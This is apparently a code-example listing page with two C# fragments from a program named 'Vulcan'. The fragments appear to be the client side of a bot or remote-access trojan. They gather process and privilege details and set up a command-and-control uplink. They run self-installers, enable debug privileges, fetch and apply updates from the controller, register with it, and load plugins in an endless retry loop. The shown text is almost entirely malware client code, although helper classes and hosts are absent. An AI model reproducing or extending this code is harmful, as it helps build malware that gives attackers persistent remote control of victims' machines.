예제 #1
0
        internal VulcanConfiguration()
        {
            this.Pid             = Process.GetCurrentProcess().Id;
            this.InstallLocation = Path.GetDirectoryName(Assembly.GetEntryAssembly().Location);
            this.RunLevel        = Privileges.GetPrivileges();
            this.PluginManager   = new VulcanPluginManager();
            this.PrimaryUplink   = new C2Uplink();

            Console.WriteLine("Current configuration:");
            Console.WriteLine("\tInstall Location: '{0}'", this.InstallLocation);
            Console.WriteLine("\tInstall Location: '{0}'", this.InstallLocation);
            Console.WriteLine("\tRun Level: '{0}'", this.RunLevel.ToString());
            Instance = this;
        }
예제 #2
0
        public void VMain(string[] args)
        {
            while (true)
            {
                try
                {
                    VulcanConfiguration config = new VulcanConfiguration();
                    Environment.CurrentDirectory = VulcanConfiguration.Instance.InstallLocation;


                    if (args.Length == 0)
                    {
                        foreach (IVulcanInstaller installer in installers)
                        {
                            if (!installer.IsInstalled() && installer.ShouldInstall(config))
                            {
                                installer.Install();
                            }
                        }
                        return;
                    }

                    switch (args[0])
                    {
                    case "restart":
                        KillAll();
                        break;
                    }

                    UnpackLibraries();

                    Process.EnterDebugMode();

                    if (VulcanConfiguration.Instance.PrimaryUplink.CheckForUpdate())
                    {
                        bool result = VulcanConfiguration.Instance.PrimaryUplink.DownloadUpdate();
                        if (result)
                        {
                            RestartVulcan();
                        }
                    }

                    VulcanConfiguration.Instance.PrimaryUplink.IdentifySelf();

                    VulcanPluginManager manager = new VulcanPluginManager();

                    manager.Init();

                    manager.LoadAll();

                    while (true)
                    {
                        System.Threading.Thread.Sleep(1);
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("VulcanEntry::VMain() Fail: {0}", ex.ToString());
                    Console.Out.Flush();
                    System.Threading.Thread.Sleep(1800000);
                }
            }
        }